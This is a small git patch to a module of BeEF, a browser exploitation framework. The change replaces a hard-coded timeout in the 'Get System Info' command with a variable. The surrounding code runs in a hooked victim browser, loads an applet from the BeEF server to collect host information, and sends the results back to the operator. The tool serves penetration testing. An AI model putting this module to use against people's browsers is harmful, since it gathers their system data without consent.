From a950c53e6b4239dedf407a1e671fc73949288656 Mon Sep 17 00:00:00 2001 From: "bcoles@gmail.com" Date: Thu, 3 Nov 2011 05:37:37 +0000 Subject: [PATCH] Fixed typo in Get System Info module: timeout value git-svn-id: https://beef.googlecode.com/svn/trunk@1397 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- modules/host/get_system_info/command.js | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/modules/host/get_system_info/command.js b/modules/host/get_system_info/command.js index f017b91b5..e642d3472 100644 --- a/modules/host/get_system_info/command.js +++ b/modules/host/get_system_info/command.js @@ -16,8 +16,10 @@ beef.execute(function() { var internal_counter = 0; + var timeout = 30; var output; - beef.dom.attachApplet('getSystemInfo', 'getSystemInfo', 'getSystemInfo', "http://"+beef.net.host+":"+beef.net.port+"/", null, null); + + beef.dom.attachApplet('getSystemInfo', 'getSystemInfo', 'getSystemInfo', "http://"+beef.net.host+":"+beef.net.port+"/", null, null); if (beef.browser.isFF()) { @@ -35,8 +37,8 @@ beef.execute(function() { return; } catch (e) { internal_counter++; - if (internal_counter > 30) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=Timeout after 20 seconds'); + if (internal_counter > timeout) { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=Timeout after '+timeout+' seconds'); beef.dom.detachApplet('getSystemInfo'); return; }